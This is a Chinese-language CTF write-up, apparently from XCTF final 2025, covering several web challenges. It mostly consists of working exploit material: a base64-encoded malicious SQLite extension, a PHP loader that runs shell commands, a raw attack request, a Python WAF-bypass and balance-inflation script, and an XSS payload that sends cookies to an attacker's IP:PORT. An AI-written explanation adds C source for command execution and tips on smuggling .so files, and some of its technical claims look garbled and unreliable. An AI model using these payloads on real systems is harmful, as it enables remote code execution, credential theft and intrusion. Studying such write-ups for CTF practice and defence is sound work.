AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQBEAAAAAAAAAEQAAAAAAAAEAAAAAAAAAmAAAAAAAAAAMAAAAAAAAAAAQAAAAAAAADQAAAAAAAAA0EgAAAAAAABkAAAAAAAAA8D0AAAAAAAAbAAAAAAAAAAgAAAAAAAAAGgAAAAAAAAD4PQAAAAAAABwAAAAAAAAACAAAAAAAAAD1%2Fv9vAAAAAGACAAAAAAAABQAAAAAAAACoAwAAAAAAAAYAAAAAAAAAiAIAAAAAAAAKAAAAAAAAAK4AAAAAAAAACwAAAAAAAAAYAAAAAAAAAAMAAAAAAAAA6D8AAAAAAAACAAAAAAAAAHgAAAAAAAAAFAAAAAAAAAAHAAAAAAAAABcAAAAAAAAAUAUAAAAAAAAHAAAAAAAAAJAEAAAAAAAACAAAAAAAAADAAAAAAAAAAAkAAAAAAAAAGAAAAAAAAAD%2B%2F%2F9vAAAAAHAEAAAAAAAA%2F%2F%2F%2FbwAAAAABAAAAAAAAAPD%2F%2F28AAAAAVgQAAAAAAAD5%2F%2F9vAAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD4AAAAAAAAAAAAAAAAAAAAAAAAAAAAANhAAAAAAAABGEAAAAAAAAFYQAAAAAAAAZhAAAAAAAAB2EAAAAAAAAChAAAAAAAAAR0NDOiAoRGViaWFuIDE1LjIuMC00KSAxNS4yLjAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAABADx%2FwAAAAAAAAAAAAAAAAAAAAAMAAAAAgAMAJAQAAAAAAAAAAAAAAAAAAAOAAAAAgAMAMAQAAAAAAAAAAAAAAAAAAAhAAAAAgAMAAARAAAAAAAAAAAAAAAAAAA3AAAAAQAXADBAAAAAAAAAAQAAAAAAAABDAAAAAQASAPg9AAAAAAAAAAAAAAAAAABqAAAAAgAMAEARAAAAAAAAAAAAAAAAAAB2AAAAAQARAPA9AAAAAAAAAAAAAAAAAACVAAAABADx%2FwAAAAAAAAAAAAAAAAAAAAABAAAABADx%2FwAAAAAAAAAAAAAAAAAAAACcAAAAAQAQALAgAAAAAAAAAAAAAAAAAAAAAAAABADx%2FwAAAAAAAAAAAAAAAAAAAACqAAAAAgANADQSAAAAAAAAAAAAAAAAAACwAAAAAQAWAChAAAAAAAAAAAAAAAAAAAC9AAAAAQATAAA%2BAAAAAAAAAAAAAAAAAADGAAAAAAAPABAgAAAAAAAAAAAAAAAAAADZAAAAAQAWADBAAAAAAAAAAAAAAAAAAADlAAAAAQAVAOg%2FAAAAAAAAAAAAAAAAAACBAQAAAgAJAAAQAAAAAAAAAAAAAAAAAAD7AAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAXAQAAEgAAAAAAAAAAAAAAAAAAAAAAAAAqAQAAEgAAAAAAAAAAAAAAAAAAAAAAAAA9AQAAEgAAAAAAAAAAAAAAAAAAAAAAAABRAQAAEgAAAAAAAAAAAAAAAAAAAAAAAABjAQAAIAAAAAAAAAAAAAAAAAAAAAAAAAByAQAAEgAMAEkRAAAAAAAA6QAAAAAAAACHAQAAEgAAAAAAAAAAAAAAAAAAAAAAAACZAQAAIAAAAAAAAAAAAAAAAAAAAAAAAACzAQAAEQAXADhAAAAAAAAACAAAAAAAAAC%2FAQAAIgAAAAAAAAAAAAAAAAAAAAAAAAAAY3J0c3R1ZmYuYwBkZXJlZ2lzdGVyX3RtX2Nsb25lcwBfX2RvX2dsb2JhbF9kdG9yc19hdXgAY29tcGxldGVkLjAAX19kb19nbG9iYWxfZHRvcnNfYXV4X2ZpbmlfYXJyYXlfZW50cnkAZnJhbWVfZHVtbXkAX19mcmFtZV9kdW1teV9pbml0X2FycmF5X2VudHJ5AHJlYzMuYwBfX0ZSQU1FX0VORF9fAF9maW5pAF9fZHNvX2hhbmRsZQBfRFlOQU1JQwBfX0dOVV9FSF9GUkFNRV9IRFIAX19UTUNfRU5EX18AX0dMT0JBTF9PRkZTRVRfVEFCTEVfAF9JVE1fZGVyZWdpc3RlclRNQ2xvbmVUYWJsZQBmY2xvc2VAR0xJQkNfMi4yLjUAc3lzdGVtQEdMSUJDXzIuMi41AHN0cmNzcG5AR0xJQkNfMi4yLjUAZmdldHNAR0xJQkNfMi4yLjUAX19nbW9uX3N0YXJ0X18Ac3FsaXRlM19leHBsb2l0X2luaXQAZm9wZW5AR0xJQkNfMi4yLjUAX0lUTV9yZWdpc3RlclRNQ2xvbmVUYWJsZQBzcWxpdGUzX2FwaQBfX2N4YV9maW5hbGl6ZUBHTElCQ18yLjIuNQAALnN5bXRhYgAuc3RydGFiAC5zaHN0cnRhYgAubm90ZS5nbnUuYnVpbGQtaWQALmdudS5oYXNoAC5keW5zeW0ALmR5bnN0cgAuZ251LnZlcnNpb24ALmdudS52ZXJzaW9uX3IALnJlbGEuZHluAC5yZWxhLnBsdAAuaW5pdAAucGx0LmdvdAAudGV4dAAuZmluaQAucm9kYXRhAC5laF9mcmFtZV9oZHIALmVoX2ZyYW1lAC5pbml0X2FycmF5AC5maW5pX2FycmF5AC5keW5hbWljAC5nb3QucGx0AC5kYXRhAC5ic3MALmNvbW1lbnQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGwAAAAcAAAACAAAAAAAAADgCAAAAAAAAOAIAAAAAAAAkAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAC4AAAD2%2F%2F9vAgAAAAAAAABgAgAAAAAAAGACAAAAAAAAKAAAAAAAAAADAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAA4AAAACwAAAAIAAAAAAAAAiAIAAAAAAACIAgAAAAAAACABAAAAAAAABAAAAAEAAAAIAAAAAAAAABgAAAAAAAAAQAAAAAMAAAACAAAAAAAAAKgDAAAAAAAAqAMAAAAAAACuAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAEgAAAD%2F%2F%2F9vAgAAAAAAAABWBAAAAAAAAFYEAAAAAAAAGAAAAAAAAAADAAAAAAAAAAIAAAAAAAAAAgAAAAAAAABVAAAA%2Fv%2F%2FbwIAAAAAAAAAcAQAAAAAAABwBAAAAAAAACAAAAAAAAAABAAAAAEAAAAIAAAAAAAAAAAAAAAAAAAAZAAAAAQAAAACAAAAAAAAAJAEAAAAAAAAkAQAAAAAAADAAAAAAAAAAAMAAAAAAAAACAAAAAAAAAAYAAAAAAAAAG4AAAAEAAAAQgAAAAAAAABQBQAAAAAAAFAFAAAAAAAAeAAAAAAAAAADAAAAFQAAAAgAAAAAAAAAGAAAAAAAAAB4AAAAAQAAAAYAAAAAAAAAABAAAAAAAAAAEAAAAAAAABcAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAcwAAAAEAAAAGAAAAAAAAACAQAAAAAAAAIBAAAAAAAABgAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAH4AAAABAAAABgAAAAAAAACAEAAAAAAAAIAQAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAACHAAAAAQAAAAYAAAAAAAAAkBAAAAAAAACQEAAAAAAAAKIBAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAjQAAAAEAAAAGAAAAAAAAADQSAAAAAAAANBIAAAAAAAAJAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAJMAAAABAAAAAgAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAACbAAAAAQAAAAIAAAAAAAAAECAAAAAAAAAQIAAAAAAAACQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAqQAAAAEAAAACAAAAAAAAADggAAAAAAAAOCAAAAAAAAB8AAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAALMAAAAOAAAAAwAAAAAAAADwPQAAAAAAAPAtAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAAC%2FAAAADwAAAAMAAAAAAAAA%2BD0AAAAAAAD4LQAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAAywAAAAYAAAADAAAAAAAAAAA%2BAAAAAAAAAC4AAAAAAADAAQAAAAAAAAQAAAAAAAAACAAAAAAAAAAQAAAAAAAAAIIAAAABAAAAAwAAAAAAAADAPwAAAAAAAMAvAAAAAAAAKAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAADUAAAAAQAAAAMAAAAAAAAA6D8AAAAAAADoLwAAAAAAAEAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA3QAAAAEAAAADAAAAAAAAAChAAAAAAAAAKDAAAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAOMAAAAIAAAAAwAAAAAAAAAwQAAAAAAAADAwAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAADoAAAAAQAAADAAAAAAAAAAAAAAAAAAAAAwMAAAAAAAAB4AAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAQAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAUDAAAAAAAADoAgAAAAAAABoAAAAUAAAACAAAAAAAAAAYAAAAAAAAAAkAAAADAAAAAAAAAAAAAAAAAAAAAAAAADgzAAAAAAAA2gEAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAARAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAASNQAAAAAAAPEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA%22%3B%0A%0Afile%5Fput%5Fcontents%28%22%2Ftmp%2Fexploit%2Eso%22%2Cbase64%5Fdecode%28%24base64%5Fso%29%29%3B

然後拿 flag 即可

<?php
file_put_contents("/tmp/1.txt","cat /flag_141f80cc2-4400-45f0-9399-4900efb730f5 > /tmp/4.txt");
$db = new Pdo\Sqlite('sqlite::memory:');
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$db->loadExtension('/tmp/exploit.so');
echo file_get_contents("/tmp/4.txt");
POST / HTTP/1.1
Host: 173.32.20.181
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 496

%73%6f%5f%65%7a%21%6b%31%64%64%69%26%67%3f=file%5Fput%5Fcontents%28%22%2Ftmp%2F1%2Etxt%22%2C%22cat%20%


"""

這裏ai解釋一下。

你提到的內容涉及利用 SQLite3 擴展機制在受限環境中執行任意代碼,這是一個典型的 安全研究/滲透測試 場景,尤其適用於繞過 putenv 被禁用、無法直接加載 .so 的情況。我們來逐段拆解你提供的信息和代碼,深入分析其背後的知識點、原理、限制與利用方式。


🔍 背景知識:SQLite 擴展加載機制

SQLite3::loadExtension()PDO::SQLite::loadExtension()

  • SQLite3 擴展 允許用户加載外部共享庫(.so / .dll)來註冊自定義函數、聚合器、虛擬表等。
  • PHP 提供了兩種方式加載擴展:
    1. SQLite3::loadExtension(string $shared_library) —— 面向過程風格
    2. PDO::SQLite::loadExtension(string $shared_library) —— PDO 風格

⚠️ 注意:這些方法默認在 PHP 編譯時啓用 SQLite 擴展支持,但 運行時是否可用受限於兩個因素

  • PHP 配置項:sqlite3.extension_dir(僅對 SQLite3 類有效)
  • SQLite 編譯選項:SQLITE_ENABLE_LOAD_EXTENSION(必須開啓)

🔒 安全限制與繞過思路

❌ 常見限制

  1. putenv() 被禁用 → 無法設置環境變量(如 LD_LIBRARY_PATH, PATH, SQLITE_EXTENSION_DIR
  2. sqlite3.extension_dir 被設置為一個不可寫路徑 → 無法將 .so 放入指定目錄
  3. open_basedir 限制 → 無法訪問 /tmp 或其他路徑
  4. disable_functions 包含 system, exec, shell_exec 等 → 無法直接執行命令

✅ 利用點發現:PDO::SQLite::loadExtension 似乎沒有目錄限制?

這是關鍵突破口!

🔍 實驗現象:
  • SQLite3::loadExtension('evil.so') → 報錯:not in extension_dir
  • PDO::SQLite::loadExtension('evil.so')成功加載(即使不在 extension_dir
✅ 原因分析:
  • sqlite3.extension_dirSQLite3 模塊的 PHP 層限制,不是 SQLite 引擎本身的限制。
  • PDO::SQLiteloadExtension 方法 直接調用底層 SQLite C API sqlite3_load_extension()繞過了 PHP 層的 extension_dir 校驗

✅ 結論:PDO::SQLite::loadExtension 不受 sqlite3.extension_dir 限制!
這是 PHP 實現上的差異,屬於 邏輯繞過漏洞(非官方漏洞,但確實是安全繞過點)


🧨 利用鏈構建

目標:在 putenv 被 ban、無法寫 extension_dir、無法執行命令的情況下,加載惡意 .so 實現代碼執行

步驟:

步驟 操作 説明
1 編寫惡意 SQLite 擴展 .so 在擴展初始化時執行系統命令(如 system()
2 .so 上傳到可寫路徑(如 /tmp/evil.so 繞過 extension_dir 限制
3 使用 PDO('sqlite::memory:') 創建內存數據庫 無需文件,避免權限問題
4 調用 $pdo->sqliteCreateFunction() 或直接 loadExtension('絕對路徑') 加載擴展
5 擴展自動執行 sqlite3_extension_init() 中的惡意代碼 實現命令執行

📜 代碼詳解:你提供的惡意擴展

#include <sqlite3ext.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

SQLITE_EXTENSION_INIT1

🔹 SQLITE_EXTENSION_INIT1

  • 宏定義,用於初始化擴展所需的函數指針表
  • 必須放在所有函數定義之前

#ifdef _WIN32
__declspec(dllexport)
#endif
int sqlite3_exploit_init(
    sqlite3 *db,
    char **pzErrMsg,
    const sqlite3_api_routines *pApi
) {
    SQLITE_EXTENSION_INIT2(pApi);

🔹 sqlite3_exploit_init:擴展入口函數

  • 命名規則必須是:sqlite3_<擴展名>_init
  • 當你加載 evil.so 時,SQLite 會尋找 sqlite3_evil_init
  • 所以你的共享庫文件名必須是 exploit.so,否則找不到入口!

✅ 重要:若文件名為 evil.so,則函數名應為 sqlite3_evil_init


    const char *command_file_path = "/tmp/1.txt";
    char command_buffer[512] = {0};
    FILE *file_handle;

    file_handle = fopen(command_file_path, "r");
    if (file_handle == NULL) {
        return SQLITE_OK;  // 靜默失敗,避免報錯
    }

    if (fgets(command_buffer, sizeof(command_buffer), file_handle) != NULL) {
        command_buffer[strcspn(command_buffer, "\r\n")] = 0;  // 去除換行
        if (strlen(command_buffer) > 0) {
            system(command_buffer);  // ⚠️ 執行命令!
        }
    }
    fclose(file_handle);
    return SQLITE_OK;
}

🔍 設計亮點:

  • 不直接硬編碼命令,而是從 /tmp/1.txt 讀取 → 更隱蔽,可動態控制
  • 靜默失敗(返回 SQLITE_OK)→ 避免暴露錯誤信息
  • 使用 system() → 實現任意命令執行

🧪 PHP 利用代碼示例

<?php
// 確保目標已上傳 exploit.so 到 /tmp/exploit.so
// 並寫入命令:echo "id > /tmp/out.txt" > /tmp/1.txt

try {
    $pdo = new PDO('sqlite::memory:');
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

    // 關鍵:使用 PDO 加載擴展,繞過 extension_dir 限制
    $pdo->sqliteCreateFunction('load_extension', null); // 某些版本需要前置調用(可省略)
    $pdo->query("SELECT load_extension('/tmp/exploit.so')");  // 觸發加載

    echo "擴展加載完成,命令應已執行\n";
} catch (Exception $e) {
    echo "Error: " . $e->getMessage();
}
?>

⚠️ 注意事項與限制

限制 説明 繞過建議
SQLITE_ENABLE_LOAD_EXTENSION 未開啓 SQLite 編譯時必須啓用此選項 無法繞過,需目標 PHP 支持
PDO::SQLite 禁用 loadExtension PHP 7.4+ 起,默認禁用 loadExtension 方法 php.ini 設置 pdo_sqlite.extension_dir 或啓用擴展(多數共享主機禁用)
SELinux / AppArmor 阻止 .so 加載或 system() 執行 提權前需繞過 MAC 機制
路徑不可寫 無法上傳 .so 利用已有可寫目錄(如 /tmp, /var/tmp, upload_tmp_dir
open_basedir 限制 無法訪問 /tmp 嘗試上傳到允許路徑(如 session 目錄)

✅ 總結:知識點提煉

知識點 描述
🎯 PDO::SQLite::loadExtension 繞過 extension_dir PHP 層校驗缺失,直接調 SQLite C API
🔐 擴展入口函數命名規則 必須為 sqlite3_<name>_init,與文件名匹配
🧨 利用擴展初始化執行代碼 sqlite3_extension_init() 中調用 system() 實現 RCE
🧼 隱蔽設計 從文件讀命令、靜默失敗、無回顯 → 繞過 WAF/日誌檢測
⚠️ 依賴條件 SQLITE_ENABLE_LOAD_EXTENSION 開啓 + PDO 未禁用擴展加載

✅ 實戰建議

  1. 先探測是否支持擴展加載

    try {
        $pdo = new PDO('sqlite::memory:');
        $pdo->query("SELECT load_extension('nonexist')");
    } catch (Exception $e) {
        if (strpos($e->getMessage(), 'not authorized') !== false) {
            echo "擴展加載被禁用";
        } elseif (strpos($e->getMessage(), 'no such file') !== false) {
            echo "擴展加載可用!";
        }
    }
    
  2. 上傳 .so 技巧

    • 利用文件上傳功能 → 改後綴為 .jpg → 通過 LFI 或路徑拼接移動到 /tmp/exploit.so
    • 利用 move_uploaded_file() 到可控路徑
  3. 命令回顯方案

    • 將結果寫入文件 → 用 file_get_contents() 讀取
    • 或使用 SQLite 自定義函數返回結果(更高級)

  • SQLite 官方擴展開發文檔:https://www.sqlite.org/loadext.html

wallet :

當時我們的exp

#!/usr/bin/env python3
"""
Wallet 題目 exploit(錢包轉賬繞過)
核心思路:
1. 網關 WAF 只攔截路徑 /transfer,把請求發到 /transfer/. 就能繞過前置校驗。
2. 後端代碼仍然執行轉賬邏輯,我們不斷給 admin→admin 轉賬,尋找能觸發“精度/溢出/彩蛋”的金額,讓餘額暴漲。
3. 餘額 ≥ 100000.01 時請求 /flag?username=admin 拿 flag。
"""
import argparse
import json
import sys
import time
from math import isfinite
import requests

# ---------- 工具函數:真正發轉賬包 ----------
def try_amount(session, base, amount):
    # 繞過路徑:加個點
    url = base.rstrip('/') + '/transfer/.'
    payload = {"from": "admin", "to": "admin", "amount": amount}

    # 先嚐試正常 JSON
    headers = {"Content-Type": "application/json"}
    try:
        r = session.post(url, headers=headers, data=json.dumps(payload), timeout=5)
    except Exception as e:
        print(f"[!] 請求失敗(utf-8): {e}")
        r = None

    # 如果 403 被攔,再換 UTF-16 + BOM 嘗試繞過 WAF
    if r is not None and r.status_code != 403:
        return r

    try:
        raw = json.dumps(payload).encode('utf-16le')
        raw = b"\xff\xfe" + raw          # 加 BOM
        headers2 = {"Content-Type": "application/json; charset=utf-16"}
        r2 = session.post(url, headers=headers2, data=raw, timeout=5)
        return r2
    except Exception as e:
        print(f"[!] 請求失敗(utf-16): {e}")
        return r

# ---------- 查餘額 ----------
def get_balance(session, base, username='admin'):
    url = base.rstrip('/') + '/balance'
    try:
        r = session.post(url, json={"username": username}, timeout=5)
        if r.status_code == 200:
            return r.json().get('balance')
        return None
    except Exception:
        return None

# ---------- 領 flag ----------
def get_flag(session, base, username='admin'):
    url = base.rstrip('/') + f'/flag?username={username}'
    try:
        r = session.get(url, timeout=5)
        if r.status_code == 200:
            return r.json().get('flag')
        else:
            print(f"[i] 領 flag 返回 {r.status_code}: {r.text}")
            return None
    except Exception as e:
        print(f"[!] 領 flag 出錯: {e}")
        return None

# ---------- 主流程 ----------
def main():
    p = argparse.ArgumentParser()
    p.add_argument('--target', '-t', required=True, help='目標基址,如 http://ip:3000')
    p.add_argument('--sleep', '-s', type=float, default=0.2, help='每次請求間隔(秒)')
    args = p.parse_args()

    base = args.target
    session = requests.Session()

    # 候選金額列表(小數/整數/冪次/邊界值)
    candidates = []
    for v in [0.1, 0.2, 0.3, 0.5, 0.25, 0.125, 0.0000001, 0.0000003, 0.000001, 0.00001]:
        candidates.append(v)
    for v in [1, 2, 3, 5, 7, 10, 12.34, 99.99, 100, 123.456789]:
        candidates.append(v)
    for v in [500, 1000, 5000, 10000, 20000, 30000, 40000, 49999.99, 50000, 60000, 90000, 99999.9999]:
        candidates.append(v)
    for exp in range(-20, 21, 2):
        candidates.append(2.0 ** exp)

    tried = set()
    print(f"[*] 共 {len(candidates)} 個候選金額,開始測試...")
    bal = get_balance(session, base, 'admin')
    print(f"[i] 初始 admin 餘額: {bal}")

    # 先跑一遍候選列表
    for amount in candidates:
        if not isfinite(amount) or amount in tried:
            continue
        tried.add(amount)
        print(f"[>] 嘗試金額 = {amount}")
        r = try_amount(session, base, amount)
        if r is None:
            time.sleep(args.sleep)
            continue
        try:
            info = r.json()
        except Exception:
            info = r.text
        print(f"    -> HTTP {r.status_code} 響應: {info}")

        bal = get_balance(session, base, 'admin')
        print(f"    -> 當前餘額: {bal}")
        # 達標就領 flag
        if bal is not None and bal >= 100000.01:
            print("[+] 餘額已達標,正在領取 flag...")
            flag = get_flag(session, base, 'admin')
            if flag:
                print(f"[FLAG] {flag}")
            else:
                print("[!] 餘額夠了但領 flag 失敗")
            return

        # 記錄最佳 bonus 金額
        try:
            bonus = float(r.json().get('bonus', 0) or 0)
        except Exception:
            bonus = 0.0
        if 'best_bonus' not in locals():
            best_bonus, best_amount = bonus, amount
        else:
            if bonus > best_bonus:
                best_bonus, best_amount = bonus, amount

        time.sleep(args.sleep)

    # 如果某個金額 bonus 特別高,就反覆刷它
    if 'best_bonus' in locals() and best_bonus > 0:
        print(f"[i] 最佳金額 {best_amount} 平均 bonus {best_bonus},開始連刷...")
        max_iters = 20000
        for it in range(1, max_iters + 1):
            r = try_amount(session, base, best_amount)
            if r is None:
                time.sleep(args.sleep)
                continue
            try:
                bonus = float(r.json().get('bonus', 0) or 0)
            except Exception:
                bonus = 0.0
            bal = get_balance(session, base, 'admin')
            print(f"[+] 第 {it} 次: bonus={bonus}, 餘額={bal}")
            if bal is not None and bal >= 100000.01:
                print("[+] 餘額達標,領取 flag...")
                flag = get_flag(session, base, 'admin')
                if flag:
                    print(f"[FLAG] {flag}")
                else:
                    print("[!] 領 flag 失敗")
                return
            time.sleep(args.sleep)

    print("[-] 所有候選金額已跑完,未能達標。可擴大候選集或換繞過方式再試。")

if __name__ == '__main__':
    main()

go-storage

XCTF final 2025 N1Star web wp - ENOCH-lyn Blog

只找到這個,下面是他們內容:

"""

這題復現會有玄學問題,例如XSS拿到admin之後登不上去等

Go 端用 os.CreateTemp(uploadDir, fileInfo.Filename),如果文件名裏包含 *,隨機串會替換第一個 *,保留後綴。 因此使用*.html 即可上傳html讓bot訪問,通過XSS獲取admin的cookie

提交URL為http://nginx-proxy/uploads/xxx.html

<html>
  <script>fetch("http://IP:PORT?c="+document.cookie)</script>
</html>

然後訪問/admin端點,是一個使用superagent的任意url訪問

但是superagent的node客服端支持向Unix域套接發送請求,同時docker掛載了docker.sock

